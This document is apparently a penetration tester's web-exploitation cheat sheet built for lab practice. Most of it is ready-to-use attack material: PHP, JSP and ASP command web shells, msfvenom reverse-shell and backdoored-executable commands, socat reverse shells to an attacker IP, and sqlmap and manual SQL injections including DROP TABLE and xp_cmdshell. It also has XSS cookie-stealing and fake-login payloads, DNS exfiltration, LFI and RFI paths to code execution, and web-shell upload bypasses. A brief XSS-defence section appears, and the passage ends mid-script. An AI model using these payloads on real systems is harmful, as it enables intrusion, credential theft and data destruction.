NOTE: the first examples are “Hello World” but perform a match calculation that should result in 49 being shown on the page in the case there’s a WAF blocking “Hello World” strings

<?php echo 7*7; ?>

<?php if(isset($_GET["dbg"])) system($_GET["dbg"]); ?>

curl -skLo- http://<TARGET>/dbg.php?dbg=<COMMAND>
<%= 7*7 %>

<% Runtime.getRuntime().exec(request.getParameter("dbg")); %>

curl -skLo- http://<TARGET>/dbg.jsp?dbg=<COMMAND>
<%= 7*7 %>

<% eval request("dbg") %>

curl -skLo- http://<TARGET>/dbg.asp?dbg=<COMMAND>

Msfvenom

  • stageless: names like shell_reverse_tcp
  • staged: names like shell_reverse_tcp
### Listener for reverse callbacks
sudo msfconsole -qx 'use exploit/multi/handler ; set payload <PAYLOAD> ; set lhost <TARGET> ; set lport <TARGET_PORT> ; run'

### Msfvenom commands
msfvenom -l payloads
msfvenom -l formats

# PHP
msfvenom -p php/meterpreter/reverse_tcp LHOST=<TARGET> LPORT=<TARGET_PORT> -f raw -e php/base64  # NOTE: need to add <?php ?> tags to file
msfvenom -p php/reverse_php LHOST=<TARGET> LPORT=<TARGET_PORT> -f raw > reverse_shell.php  # NOTE: need to add <?php ?> tags to file
msfvenom -p php/meterpreter_reverse_tcp LHOST=<TARGET> LPORT=<TARGET_PORT> -f raw > rev_shell.php

# LINUX
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<TARGET> LPORT=<TARGET_PORT> -f elf > rev_shell.elf
msfvenom -p cmd/unix/reverse_python LHOST=<TARGET> LPORT=<TARGET_PORT> -f raw > rev_shell.py

# WINDOWS 32-bit
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<TARGET> LPORT=<TARGET_PORT> -f exe > rev_shell.exe
msfvenom -p windows/shell_reverse_tcp LHOST=<TARGET> LPORT=<TARGET_PORT> -f exe > nameoffile.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<TARGET> LPORT=<TARGET_PORT> -f asp > rev_shell.asp

# Java Web Shells
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<TARGET> LPORT=<TARGET_PORT> -f raw > nameoffile.jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<TARGET> LPORT=<TARGET_PORT> -f war > nameoffile.war

# BACKDOOR-ed EXECUTABLES
msfvenom windows/x86/meterpreter_reverse_tcp LHOST=<TARGET> LPORT=<TARGET_PORT> -k -x <INPUT_FILE> -e x86/shikata_ga_nai -a x86 --platform windows -o <OUTPUT_FILE> -i 5

Shell Upgrade

To be able to run commands like su, sudo, ssh, use command completion, and open a text editor if needed with other features as well…

# Best Upgrade
for i in python3 python python2 ; do command -v "$i" >/dev/null && "$i" -c 'import pty; pty.spawn("/bin/bash")' && exit ; done

export TERM=xterm-256color

CTRL+Z
stty raw -echo ; fg

Other Upgrades

script /dev/null -c /bin/bash

/bin/bash -i

find . -exec /bin/bash -p \; -quit

awk 'BEGIN {system("/bin/bash")}'

perl -e 'exec "/bin/bash";'

ruby -e 'exec "/bin/bash"'

vim -c ':!/bin/bash' -c ':qa!'

lua -e 'os.execute("/bin/bash")'

Resize Terminal Size

echo "MAKE SURE THIS IS RAN ON ATTACKER BOX FIRST, THEN...\n\nON TARGET SHELL:\nstty rows $(tput lines) columns $(tput cols)"

Socat Method

Setup

# Download and serve static socat (if needed)
wget -v https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat
ip a ; sudo python3 -m http.server 80

wget http://<ATTACKER_IP>:80/socat -o /tmp/socat
chmod +x /tmp/socat

Encrypted:

# Generate key and cert (fill info randomly or leave blank)
openssl req -x509 -newkey rsa:2048 -keyout shell.key -out shell.crt -days 365 -nodes -batch -subj "/" && cat shell.key shell.crt > cert.pem

Linux

# ATTACKER (Listen):
socat file:`tty`,raw,echo=0 tcp-listen:<PORT>

# LINUX TARGET (Connect Back):
nohup /tmp/socat tcp-connect:<ATTACKER_IP>:<PORT> exec:'bash -li',pty,stderr,setsid,sigint,sane 2>&1 >/dev/null &

Encrypted:

# ATTACKER (Listen):
socat FILE:`tty`,raw,echo=0 OPENSSL-LISTEN:<PORT>,cert=cert.pem,verify=0 

# LINUX TARGET (Connect Back):
# (Upload socat first, same as standard shell)
/tmp/socat EXEC:'bash -li',pty,stderr,setsid,sigint,sane OPENSSL:<ATTACKER_IP>:<PORT>,verify=0 

Windows

# ATTACKER (Listen):
socat tcp-listen:<PORT> -

# WINDOWS TARGET (Connect Back):
Invoke-WebRequest -uri http://<ATTACKER_IP>/socat.exe -outfile C:\\Windows\temp\socat.exe

C:\\Windows\temp\socat.exe TCP:<ATTACKER_IP>:<PORT> EXEC:powershell.exe,pipes

Encrypted:

# ATTACKER (Listen):
socat OPENSSL-LISTEN:<PORT>,cert=cert.pem,verify=0 -

# WINDOWS TARGET (Connect Back):
# (Upload socat.exe first, same as standard shell)
C:\Windows\temp\socat.exe EXEC:powershell.exe,pipes OPENSSL:<ATTACKER_IP>:<PORT>,verify=0

SQL Injection

See more about… SQL

Source: Docs > 2 - Pre-Engagement > checklist#sql

SQL

If these steps fail, the target is likely not vulnerable via automation.

Phase 1: Injection & Tuning

  • Manual Triage (Burp): Confirm “True” vs “False” response size manually. Never run SQLMap blind.
  • The Setup: Save request to req.txt. Mark injection point with *. (sqlmap -r req.txt --batch)
  • The Unlocker (Tuning): Logic (OR) or Brackets ()))) failing? (--level 5 --risk 3)
  • The Syntax Fix: SQLMap guessing wrong boundaries? (--prefix="')" - Match your Burp findings).
  • The Speedup: Time-based checks taking forever? (--technique=BEU - Force Boolean/Error/Union only).

Phase 2: Stability & Evasion

  • The Hallucination Fix: “2 letters off” or garbage data? (--string="SuccessMsg" or --text-only).
  • The Bypass: WAF blocking or 403s? (--random-agent --tamper=space2comment --skip-waf).

Phase 3: Loot & Shells

  • The Recon: Check privileges immediately. (--is-dba --current-db).
  • The Dump: Surgical extraction (Don’t dump the world). (-D <DB> -T <TABLE> -C <USER,PASS> --dump).
  • The Endgame (RCE): DBA is True? (--os-shell (Add --technique=E if empty) OR --file-write="shell.php").

Troubleshooting (Panic Modifiers) Add these to The Dump if injection exists but data fails to extract.

  • --union-cols=X: Manually set column count (if SQLMap counts wrong).
  • --no-cast: Disable payload casting (Fixes specific DB errors).
  • --hex: Encode data extraction (Bypasses WAF filters on output).

SQLMap supports techniques BEUSTQ: Boolean blind (B), Error-based (E), Union (U), Stacked (S), Time-based blind (T), Inline (Q), plus Out-of-band (OOB) via DNS exfiltration. Use sqlmap -hh to list techniques.

Union Based SQLi

Direct data extraction by combining results from two queries.

Mechanics:

  1. Find Column Count: ORDER BY 1, ORDER BY 2… until error.
  2. Find Visible Columns: UNION SELECT 1, 2, 3, 4 (Check which numbers appear on screen).
  3. Extract Data: Replace visible number with database(), user(), or column name.
-- Get column count... start at 2 and iterate up
' ORDER BY 2-- -
-- MORE ROBUST since it will error on bad column sizes
' UNION SELECT 1,2-- -

-- Get current user and database
' UNION SELECT 1, user(), database(), 4 -- -
' UNION SELECT 1, user, database(), 4 FROM mysql.user -- -

-- Enumeration
' UNION SELECT 1, group_concat(table_name), 3, 4 FROM information_schema.tables WHERE table_schema=database()-- -
See more about… Union-based

Source: Docs > 9 - Notes > sqlmap#union-based

Union-based

Combine two queries to dump data directly into the response. Count the displayed columns (and maybe iteratively increase columns amount)

sqlmap -u "<URL>" --technique=U --union-cols=5

Error Based SQLi

Force the database to dump data inside a verbose error message.

Mechanics: Intentionally break syntax or use functions that fail when passed specific strings, causing the DB to return the string (the flag) in the error.

-- MySQL (extractvalue)
' AND extractvalue(1, concat(0x7e, (SELECT @@version), 0x7e))-- -

-- MSSQL (Conversion Error)
' AND 1=(SELECT TOP 1 table_name FROM information_schema.tables)--
See more about… Error-based

Source: Docs > 9 - Notes > sqlmap#error-based

Error-based

Trigger DB errors that leak data inside the error message.

sqlmap -u "<URL>" --technique=E

Blind SQLi (Boolean)

Infer data by asking True/False questions. Content changes based on the answer.

Mechanics: If 1=1 (True) loads the page normally, and 1=2 (False) hides content, the target is vulnerable.

-- Verification
' AND 1=1-- -  (Page loads)
' AND 1=2-- -  (Content missing)

-- Data Extraction (Manual logic)
-- Is the first letter of user() 'a'?
' AND (SELECT substring(user(),1,1))='a'-- -
See more about… Blind Boolean

Source: Docs > 9 - Notes > sqlmap#blind-boolean

Blind Boolean

Infer data from whether the page content or behaviour changes (true vs false).

NOTE: careful this is a very unstable method that might require multiple runs or --no-cast

sqlmap -u "<URL>" --technique=B --level 5 --risk 3

Blind SQLi (Time)

Infer data by measuring response delay.

Mechanics: If the condition is True, the database sleeps. If the page takes ~10s to load, the injection succeeded.

-- MySQL
' AND (SELECT SLEEP(5))-- -

-- MSSQL
'; WAITFOR DELAY '0:0:5'--

-- PostgreSQL
'; SELECT pg_sleep(5)--
See more about… Blind Time

Source: Docs > 9 - Notes > sqlmap#blind-time

Blind Time

Infer data from response delays (e.g. SLEEP) when the condition is true.

sqlmap -u "<URL>" --technique=T

Stacked Queries SQLi

Append additional SQL statements after the vulnerable query (e.g. non-query statements or OS commands).

Mechanics: “Piggy-backing” β€” inject a second statement after the first (e.g. ; DROP TABLE users). Only works when the DB and driver allow multiple statements (e.g. MSSQL, PostgreSQL). SQLMap can use it for data retrieval (similar to time-based) or for non-query/OS execution when supported.

-- Example: second statement runs after the first
'; DROP TABLE users-- -
'; EXEC xp_cmdshell 'whoami'-- -
See more about… Stacked queries

Source: Docs > 9 - Notes > sqlmap#stacked-queries

Stacked queries

Append extra SQL statements after the vulnerable one (e.g. INSERT/UPDATE/DELETE or OS commands); requires DB support (e.g. MSSQL, PostgreSQL).

sqlmap -u "<URL>" --technique=S

Inline Queries SQLi

Embed a subquery inside the original query so the result is used in place.

Mechanics: The vulnerable app must use the result of a subquery in a way that lets you inject (e.g. SELECT (SELECT @@version) FROM ...). Less common than other types because the code structure has to match. SQLMap supports it when the injection point allows embedded queries.

-- Example: version in a subquery
SELECT (SELECT @@version) FROM ...
See more about… Inline queries

Source: Docs > 9 - Notes > sqlmap#inline-queries

Inline queries

Query embedded inside the original query; uncommon and app-dependent.

sqlmap -u "<URL>" --technique=Q

Out-of-Band (OOB) SQLi

Exfiltrate data via DNS/HTTP requests when output is completely invisible.

Mechanics: Force the DB to resolve a domain you control (interactsh). The data is prepended as the subdomain.

# 1. Start Listener
interactsh-client

# 2. Payload Construction (example domain: domain.com)
# Windows / MSSQL (xp_dirtree)
'; DECLARE @data varchar(1024); SELECT @data = (SELECT user_name()); EXEC('master..xp_dirtree "\\'+@data+'.domain.com\a"');--

# Linux / MySQL (secure_file_priv must be empty)
' SELECT LOAD_FILE(CONCAT('\\\\', (SELECT user()), '.domain.com\\a'))-- -
See more about… Out-of-band

Source: Docs > 9 - Notes > sqlmap#out-of-band

Out-of-band

Exfiltrate via DNS or HTTP to a server you control when no output is visible.

sqlmap -u "<URL>" --dns-domain=<DOMAIN>

Web Exploitation

This page combines all web-related resources into one section for easy navegation.

See more about… Web

Source: Docs > 5 - Exploitation > shells#web

Web

Web ServerDefault Webroot
Apache/var/www/html/
Nginx/usr/local/nginx/html/
IISc:\inetpub\wwwroot\
XAMPPC:\xampp\htdocs\
### ASPX (Microsoft IIS)
# Command Shell
# 1) Add ATTACKER_IP on line 59
# 2) Remove unnecessary comments at beginning and end
/usr/share/laudanum/aspx/shell.aspx
# PowerShell Command Terminal
# 1) Edit creds on line 14
/usr/share/nishang/Antak-WebShell/antak.aspx
# PHP WebShell
wget https://github.com/WhiteWinterWolf/wwwolf-php-webshell/raw/refs/heads/master/webshell.php

Code

NOTE: the first examples are “Hello World” but perform a match calculation that should result in 49 being shown on the page in the case there’s a WAF blocking “Hello World” strings

<?php echo 7*7; ?>

<?php if(isset($_GET["dbg"])) system($_GET["dbg"]); ?>

curl -skLo- http://<TARGET>/dbg.php?dbg=<COMMAND>
<%= 7*7 %>

<% Runtime.getRuntime().exec(request.getParameter("dbg")); %>

curl -skLo- http://<TARGET>/dbg.jsp?dbg=<COMMAND>

<%= 7*7 %>

<% eval request("dbg") %>

curl -skLo- http://<TARGET>/dbg.asp?dbg=<COMMAND>

See more about… Cross-site scripting (XSS)

Source: Docs > 5 - Exploitation > xss

Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into websites. There are two sides: source (frontend) and sink (backend).

REMEMBER: Viewing the Page Source (CTRL+U) or Inspecting Element (F12) are two separates things: respectively, one is the HTTP response (static site, scripts pre-execution) and the other is the final website (dynamically loaded, scripts post-execution)

TypeDescription
Stored XSS (Persistent)Stored in the backend… The most critical type of XSS, which occurs when user input is stored on the back-end database and then displayed upon retrieval (e.g. posts or comments)
Reflected XSS (Non-Persistent)Only passes through the backend… Occurs when user input is displayed on the page after being processed by the backend server, but without being stored (e.g. search result or error message)
DOM-based XSSNever touches the backend Non-Persistent XSS type that occurs when user input is directly shown in the browser and is completely processed on the client-side, without reaching the back-end server (e.g., through client-side HTTP parameters or anchor tags)

Breaking Context

Manual Payloads

Sometimes, certain payloads are not allowed

<script>alert(window.origin)</script>

<img src="" onerror=alert(window.origin)>

<svg/onload=alert(window.origin)>

// Polyglot Breaker
javascript:"/*\"/*`/*' /*</title></textarea>--></noscript></style></xmp>"></a><img src=x onerror=alert(window.origin)>//

---

# Setup listener on ATTACKER_IP
sudo python3 -m http.server 80

// Remote script
<script src="http://<ATTACKER_IP>/script.js"></script>

// Same idea but enumerate vuln fields
<script src="http://<ATTACKER_IP>/username"></script>

// Exfil cookies
document.location='http://<ATTACKER_IP>/index.php?c='+document.cookie;
new Image().src='http://<ATTACKER_IP>/index.php?c='+document.cookie;

Login Form Injection

<h3>Please login to continue</h3>
<form action=http://<ATTACKER_IP> >
    <input type="username" name="username" placeholder="Username">
    <input type="password" name="password" placeholder="Password">
    <input type="submit" name="submit" value="Login">
</form>

Blind XSS

Manual

Generally, to enumerate Blind XSS vulns, start by setting a server to receive a callback for a particular HTML field that is being tested.

mkdir /tmp/tmpserver && cd /tmp/tmpserver
cat << 'EOF' > script.js
new Image().src='http://10.10.14.175:8080/index.php?c=' + document.cookie;
EOF
php -S 0.0.0.0:8080

NOTE: usually, password fields are hashed and email fields are validated client/server side, so they are harder or impossible

# MODIFY PAYLOAD AS NEEDED
PAYLOAD='"><script src=http://<ATTACKER_IP>:8080/script.js></script>'
# Encode it
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${PAYLOAD}'))")
# Hack it!
curl "http://<TARGET>/<PAGE>?\
Name=${ENCODED}\
&Email=${ENCODED}\
&Phone+Number=${ENCODED}\
&Product=${ENCODED}\
&os=${ENCODED}\
&browser=${ENCODED}\
&message=${ENCODED}\
&ttype=${ENCODED}" \
-H 'X-Requested-With: XMLHttpRequest'

Check the PHP server for the response with the cookie. Then add the cookie to the browser and visit the appropriate login page:

  • Click Shift+F9 to show the Storage bar
  • Click on the + button on the top right corner
  • Add Name is the part before = and the Value is the part after = from the stolen cookie

Dalfox

NOTE: this is very dangerous and can break servers easily

# this installs the program at `~/go/bin/dalfox`
go install github.com/hahwul/dalfox/v2@latest
# HTTP GET
dalfox url 'http://<TARGET>/?<PARAM>=<VALUE>'

# HTTP POST (can include multiple params for -d)
# COOKIES: -C 'PHPSESSID=<YOUR_COOKIE>'
dalfox url 'http://<TARGET>/' -X POST -d '<PARAM>=<VALUE>'

Blind

# Fuzz web page fields
dalfox url "http://<TARGET_IP>/<PAGE>" \
  --skip-mining-dom \
  --blind "http://<ATTACKER_IP>:8080" \
  -X POST \
  -d "<PARAM>=<VALUE>"
  --header "X-Requested-With: XMLHttpRequest" \
  --blind "http://10.10.14.175:8080" \
  --delay 500

XSS Prevention & Mitigation

XSS defense requires a Defense in Depth approach. Never rely solely on Frontend validation (it is easily bypassed).

Frontend

  • Input Validation: Use Regex to enforce strict formats (e.g., Email, Date).
  • Sanitization: Strip dangerous tags before processing.
  • Safe Sinks: Avoid writing raw HTML.
    • UNSAFE: innerHTML, outerHTML, document.write(), jQuery append(), html().
    • SAFE: innerText, textContent.

Backend

  • Input Validation: Reject input that doesn’t match expected types (e.g., PHP filter_var).
  • Input Sanitization: Escape special characters before storage (e.g., PHP addslashes, Node DOMPurify).
  • Output Encoding (CRITICAL): Convert special characters into HTML Entities (e.g., < β†’ &lt;) before rendering.
    • PHP: htmlspecialchars($input, ENT_QUOTES, 'UTF-8')
    • NodeJS: html-entities library.

Server Configuration

  • Content Security Policy (CSP): The most powerful header against XSS.
    • Content-Security-Policy: script-src 'self' (Only allow scripts from the same origin, blocks inline JS).
  • Cookie Flags:
    • HttpOnly: Prevents JavaScript from reading document.cookie.
    • Secure: Ensures cookies are only sent over HTTPS.
  • Headers:
    • X-Content-Type-Options: nosniff (Prevents MIME sniffing).
  • WAF: Web Application Firewall (ModSecurity, AWS WAF) to block common payloads.
See more about… File Inclusion

Source: Docs > 5 - Exploitation > file-inclusion

File Inclusion (FI) allows an attacker to include a file, usually exploiting a “dynamic file inclusion” mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation.

There are 2 types, which depend on the underlying vulnerable function:

Code Examples of FI

These examples use the idea of a webpage in multiple languages that allows the user to dynamically load webpage in the selected language.

PHP

// Selector
if (isset($_GET['language'])) {
    include($_GET['language']);
}

NodeJS

// Selector
if(req.query.language) {
    fs.readFile(path.join(__dirname, req.query.language), function (err, data) {
        res.write(data);
    });
}

// about.html
app.get("/about/:language", function(req, res) {
    res.render(`/${req.params.language}/about.html`);
});

Java

// Selector
<c:if test="${not empty param.language}">
    <jsp:include file="<%= request.getParameter('language') %>" />
</c:if>

// about.html
<c:import url= "<%= request.getParameter('language') %>"/>

.NET

// Selector
@if (!string.IsNullOrEmpty(HttpContext.Request.Query['language'])) {
    <% Response.WriteFile("<% HttpContext.Request.Query['language'] %>"); %> 
}

// about.html
@Html.Partial(HttpContext.Request.Query['language'])

Can Function X Read/Execute?

FunctionRead ContentExecuteRemote URL
PHP
include()/include_once()βœ…βœ…βœ…
require()/require_once()βœ…βœ…βŒ
file_get_contents()βœ…βŒβœ…
fopen()/file()βœ…βŒβŒ
NodeJS
fs.readFile()βœ…βŒβŒ
fs.sendFile()βœ…βŒβŒ
res.render()βœ…βœ…βŒ
Java
includeβœ…βŒβŒ
importβœ…βœ…βœ…
.NET
@Html.Partial()βœ…βŒβŒ
@Html.RemotePartial()βœ…βŒβœ…
Response.WriteFile()βœ…βŒβŒ
includeβœ…βœ…βœ…

Checking Vulnerability

Due to file permissions, these files should almost always exist and be accessible if a target is vulnerable to LFI:

  • Linux: /etc/passwd
  • Windows: C:\Windows\boot.ini

Generally, they will be 3-5 folder depths down from the root filesystem:

# without '/'
../../../../etc/passwd
# with '/'
/../../../../etc/passwd

# basic filter '../' bypass
....//....//....//etc/passwd
..././
....\/

# URL encoding: must encode entire string
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64

# regex might require a specific string or extension for a folder or extension
# the extension part can limit the files accessible
languages/.*php

# overflow character limit to evade extension filter
# ONLY: PHP <5.3 versions
echo -n "non_existing_directory/../../../etc/passwd/" && for i in {1..2048}; do echo -n "./"; done

# null byte
# ONLY: PHP <5.5 versions
../../../../etc/passwd%00.php

URL Encoding

# Total URL Encoding via Python
echo -n '<LFI_STRING>' | python3 -c "import sys; print(''.join('%{0:02x}'.format(ord(c)) for c in sys.stdin.read()))"

Finding Files

Typically, the backend server will not have debug messages enabled. In order to enumerate files (such as other *.php or config files in the same directory), fuzzing the web server and keeping all HTTP responses (e.g. codes 301, 302, 403, etc.) can show that those files or locations exist AND could be accessible via LFI (but not normal HTTP requests)

# Find *.php files that DO EXIST on the server
ffuf -ic -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://<TARGET>/FUZZ.php

If the found files can be accessed via LFI, but get executed instead of merely read, use a PHP filter like base64 to encode the file to read and prevent it from being executed:

# NOTE: .php get appended to `resource` so "<FILE>" is really "<FILE>.php"
http://<TARGET>/<PAGE>?<PARAMETER>=php://filter/read=convert.base64-encode/resource=<FILE>

# View Page Source > Decode base64
echo '<BASE64> | base64 -d'

Local File Inclusion

Check Config

# If the LFI is already know (e.g. via LFImap) this
# can browse for all accessible config files
ffuf -w <LFI_LIST>:FUZZ -u 'http://<TARGET>/<PAGE>?<PARAMETER>=<LFI>FUZZ' -fs 0 -v

Execute Commands

If able, check that appropriate settings are enabled and the underlying function supports the command.

via data

# Base64'd PHP Webshell: <?php system($_GET["cmd"]); ?>
curl -sko- 'http://<TARGET>/<PAGE>?<PARAMETER>=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=;<COMMAND>;'

via input

# POST PHP Webshell
curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' 'http://<TARGET>/<PAGE>?<PARAMETER>=php://input&cmd=<COMMAND>'

via expect

curl -sko- 'http://<TARGET>/<PAGE>?<PARAMETER>=expect://<COMMAND>'

Remote File Inclusion

If able, check that appropriate settings are enabled and the underlying function supports the command. Sometimes, though not always, command execution is allowed.

# URL is the remote resource
http://<TARGET>/<PAGE>?<PARAMETER>=<URL>

# Create remote PHP web shell
# NOTE: this only works for get and execute style functions
echo '<?php system($_GET["cmd"]); ?>' > shell.php
sudo python3 -m http.server 8080

# Execute commands by calling back to ATTACK_IP and executing that file
curl -sko- 'http://<TARGET>/<PAGE>?<PARAMETER>=<ATTACKER_IP>:<PORT>/shell.php?cmd=<COMMAND>'

Log Poisoning

Poisoning a file to gain execution can be done by PHPSESSION, which is the settings a user has selected for a webpage.

# Get PHPSESSION from F12 > Storage
# NOTE: that file is stored on disk as:
# /var/lib/php/sessions/sess_<PHPSESSION>

# Read the settings for the PHPSESSION
http://<TARGET>/<PAGE>?language=/var/lib/php/sessions/sess_<SESSION>

# Let's see if we control the OPTION
http://<TARGET>/<PAGE>?<PARAMETER>=CONTROL
# Now read the value
http://<TARGET>/<PAGE>?language=/var/lib/php/sessions/sess_<SESSION>

# Set OPTION to a PHP webshell
curl -sc cookies.txt 'http://<TARGET>/<PAGE>?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E'

# Now execute commands
curl -sko- -b cookies.txt 'http://<TARGET>/<PAGE>?language=/var/lib/php/sessions/sess_<SESSION>&cmd=<COMMAND>'

Scanning

To find parameters that could be vulnerable to LFI, first search for the GET/POST parameter, then try out LFI payloads as a value.

NOTE: these payloads are easily defeated by file extension filtering, so that needs to be mitigated as needed. Often times:

  1. Check server configs
  2. Attempt to read and see the filtering from the pages
  3. Incorporate the filtering into the ffuf URL portion
# FIND: params
ffuf -ic -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://<TARGET>/<PAGE>?FUZZ=value -fs <SIZE>

# FIND: LFI payloads
ffuf -w /opt/useful/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<TARGET>/<PAGE>?<PARAM>=FUZZ' -fs <SIZE>

LFI Filter Evasion

When the default Jhaddix wordlist fails (returns 200s but no content, or 500 errors), the application is filtering your input.

The Filter (What the dev did)The Bypass (How to break it)Example Payload
Traversal Stripping (Removes ../)Nested or overlapping traversals.....//....//etc/passwd
..././..././etc/passwd
URL Decoding Filters (WAF)URL encode, or double-URL encode.%2e%2e%2fetc%2fpasswd
%252e%252e%252fetc%252fpasswd
Hardcoded Prefix (include("dir/".$p))Add more ../ to climb out of the forced directory.../../../../../../etc/passwd
Hardcoded Suffix (include($p.".php"))Legacy (PHP < 5.3): null byte.
Modern: PHP filter (Base64).
../../../etc/passwd%00
php://filter/read=convert.base64-encode/resource=config
Keyword Blocking (Blocks passwd)Wildcards (Linux) or redundant slashes./etc//passwd
/etc/security/../passwd

Mechanics & Logic

1. The “Forced Extension” Problem (.php)

If the code is include($_GET['page'] . ".php");, requesting /etc/passwd makes the server look for /etc/passwd.php, which doesn’t exist.

Solution: Pivot to reading the application’s source code using PHP wrappers. If you request php://filter/convert.base64-encode/resource=config, the server appends .php making it config.php. The wrapper Base64-encodes the PHP code instead of executing it, bypassing the extension filter entirely.

2. The str_replace Trap

Many developers try to fix LFI with str_replace("../", "", $input).

The bypass: If you send ....//, the filter finds the ../ in the middle and deletes it. What remains is the outer ../, which pieces itself back together after the filter runs.

Advanced Scanning

The LFI-Jhaddix list is a great scattergun; to explicitly test bypasses, use targeted SecLists:

# FIND: Advanced bypasses (nested, encoded, null bytes)
ffuf -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<TARGET>/<PAGE>?<PARAM>=FUZZ' -fs <SIZE>

# FIND: PHP wrapper source code extraction (targets common files like index, config, db)
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://<TARGET>/<PAGE>?<PARAM>=php://filter/read=convert.base64-encode/resource=FUZZ' -fs <SIZE>
See more about… Parameter fuzzing

Source: Docs > 9 - Notes > ffuf#parameter-fuzzing

Parameter fuzzing

GET

# NOTE: filter out by response size since an HTTP response of 200 OK will always be received
ffuf -ic -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://<TARGET>/<PAGE>?FUZZ=value -fs <SIZE>

POST

# NOTE: filter out by response size since an HTTP response of 200 OK will always be received
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://<TARGET>/<PAGE> -H 'Content-Type: application/x-www-form-urlencoded' -X POST -d 'FUZZ=value' -fs <SIZE>

LFImap

Automates exploitation of discovery, filter evasion, and RCE escalation (wrappers, log poisoning, etc.).

# Install
git clone https://github.com/hansmach1ne/LFImap.git && cd LFImap
python3 -m pip install -r requirements.txt

# Base Scan (Use '*' to mark the injection point)
python3 lfimap.py -U 'http://<TARGET>/index.php?page=*'

# Full Auto-Exploit (Tests all bypasses & attempts RCE)
python3 lfimap.py -U 'http://<TARGET>/index.php?page=*' -a

# Pop a Reverse Shell directly (if vulnerable)
python3 lfimap.py -U 'http://<TARGET>/index.php?page=*' --exploit --lhost <ATTACKER_IP> --lport <LPORT>

Nuclei

Best for discovering zero-days, CVEs, and blind out-of-band (OOB) inclusions across massive attack surfaces.

See more about… Fix Go

Source: Docs > 9 - Notes > Troubleshooting#fix-go

Fix Go

When system Go is broken or missing (HTB / online lab VMs)…

go: github.com/hahwul/dalfox/v2@latest (in github.com/hahwul/dalfox/v2@v2.12.0): go.mod:3: invalid go version '1.23.0': must match format 1.23

…Install a local Go and wire it into PATH:

wget https://go.dev/dl/go1.23.6.linux-amd64.tar.gz
mkdir -p ~/go_bin
tar -C ~/go_bin -xzf go1.23.6.linux-amd64.tar.gz
export PATH=$HOME/go_bin/go/bin:$HOME/go/bin/:$PATH
echo -e '\nexport PATH=$HOME/go_bin/go/bin:$HOME/go/bin/:$PATH' | tee -a ~/.bashrc ~/.zshrc
go version
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
# Update templates first
nuclei -ut

# Target a specific URL for all known LFI vectors
echo 'http://<TARGET>/index.php?page=test' | nuclei -tags lfi

# Fuzzing Mode (Uses Nuclei's DAST engine to mutate parameters)
nuclei -u 'http://<TARGET>/' -dast -tags lfi

# Blind OOB LFI (Catch callbacks with interactsh automatically)
nuclei -u 'http://<TARGET>/' -tags oast,lfi
See more about… File Upload

Source: Docs > 5 - Exploitation > file-upload

Insecure file upload occurs when an application accepts file uploads without proper validation of type, content, or destination. Attackers can upload webshells, abuse allowed extensions or content types, or combine upload with XXE to read or execute code.

Process

  1. Identify the web technologies used (e.g. PHP).
  2. Check for client- and server-side validation and filtering.
  3. Intercept file submission with a web proxy and test modifications of:
    • Filename extensions in the request body
    • Content-Type headers
  4. Disable client-side validation (e.g. via proxy or DevTools: delete or modify the validation functions).
  5. Bypass server-side validation:
    • Fuzz file extensions (e.g. .php7, .phtml, or mixed case .pHP) via Intruder. Untick “URL Encoding” so the dot is not encoded.
    • Try double extensions such as .jpgFUZZ or FUZZ.jpg.
    • Use ffuf -od reqs with a minimal “Hello World” payload for the target tech to see which extension actually executes.
# Extension fuzzing
# NOTE: this will upload the request; use a "Hello World" payload for the target tech (e.g. PHP)
ffuf -w /usr/share/seclists/Discovery/Web-Content/web-extensions.txt:FUZZ -od ffuf_ext_fuzzing -mr '<SUCCESS_REGEX>' -request-proto http -request req.txt

Content-Type for Uploads

Fuzz the request body’s Content-Type (not the HTTP header).

NOTE: Uncheck the URL-encode option in the proxy (e.g. Intruder) so the payload is sent literally.

# Content-Type fuzzing
# NOTE: use a culled list for image uploads
grep 'image/' /usr/share/seclists/Discovery/Web-Content/web-all-content-types.txt > image-content-types.txt

ffuf -w image-content-types.txt:FUZZ -od ffuf_type_fuzzing -mr '<SUCCESS_REGEX>' -request-proto http -request req.txt

Magic Bytes

File TypeMagic Bytes (Hex)ASCII Representation
GIF47 49 46 38 39 61 or 47 49 46 38 37 61GIF8, GIF89a or GIF87a
JPGFF D8 FF E0 (standard)ÿØÿà
PNG89 50 4E 47 0D 0A 1A 0A.PNG....

Magic bytes are the first bytes inside the file (not metadata or extension) that identify the file type. Prepending valid magic bytes can help bypass content checks while keeping executable content (e.g. PHP) after them.

GIF8 <?php if(isset($_GET["dbg"])) system($_GET["dbg"]); ?>

Character Injection

This approach uses character workarounds that can bypass validation on some (especially older) PHP versions.

> wordlist.txt
for char in '%20' '%0a' '%00' '%0d0a' '/' '.\\' '.' '…' ':'; do
    while IFS= read -r ext; do
        [[ -z "$ext" || "$ext" == \#* ]] && continue
        echo "shell${char}${ext}.jpg" >> wordlist.txt
        echo "shell${ext}${char}.jpg" >> wordlist.txt
